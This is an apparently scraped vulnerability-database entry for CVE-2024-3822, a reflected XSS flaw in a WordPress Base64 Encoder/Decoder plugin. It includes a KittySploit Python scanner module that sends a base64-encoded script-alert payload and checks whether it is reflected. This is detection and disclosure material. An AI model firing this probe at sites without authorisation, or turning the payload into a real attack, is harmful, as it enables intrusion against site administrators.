Lucene search
+L

Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Reflected XSS in Base64 Encoder/Decoder WordPress plugin via unescaped parameters.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-3822
29 Mar 202500:28
–circl
cnnvd
CNNVD
WordPress plugin Base64 Encoder/Decoder 安全漏洞
15 May 202400:00
–cnnvd
cve
CVE
CVE-2024-3822
15 May 202406:00
–cve
cvelist
Cvelist
CVE-2024-3822 Base64 Encoder/Decoder <= 0.9.2 - Reflected XSS
15 May 202406:00
–cvelist
euvd
EUVD
EUVD-2024-32393
3 Oct 202520:07
–euvd
nuclei
Nuclei
Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting
16 Oct 202602:05
–nuclei
nvd
NVD
CVE-2024-3822
15 May 202406:15
–nvd
osv
OSV
CVE-2024-3822
15 May 202406:15
–osv
patchstack
Patchstack
WordPress Base64 Encoder/Decoder Plugin <= 0.9.2 is vulnerable to Cross Site Scripting (XSS)
15 May 202400:00
–patchstack
patchstack
Patchstack
WordPress Base64 Encoder/Decoder plugin <= 0.9.2 - Reflected XSS vulnerability
15 May 202407:06
–patchstack
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Base64 Encoder/Decoder WordPress plugin through 0."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Base64 Encoder/Decoder <= 0.9.2 - Cross-Site Scripting Detection',
        'description': 'The Base64 Encoder/Decoder WordPress plugin through 0.9.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'wordpress', 'wp-plugin', 'wp', 'xss', 'base64-encoderdecoder', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-3822',
            'https://wpscan.com/vulnerability/ff5411b1-9e04-4e72-a502-e431d774642a/',
        ],
        'cve': 'CVE-2024-3822',
    }

    def run(self):
        path = '/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4='
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        content_type = (r.headers.get("Content-Type") or "").lower()
        body = (r.text or "").lower()
        reflected_payload = '<script>alert("document.domain")</script>' in body
        if "text/html" in content_type and reflected_payload:
            self.set_info(
                severity='medium',
                reason='Base64 Encoder/Decoder reflected the decoded script payload',
                path=path,
                confidence='high',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2026 10:07Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.14.8
EPSS0.00747
SSVC
1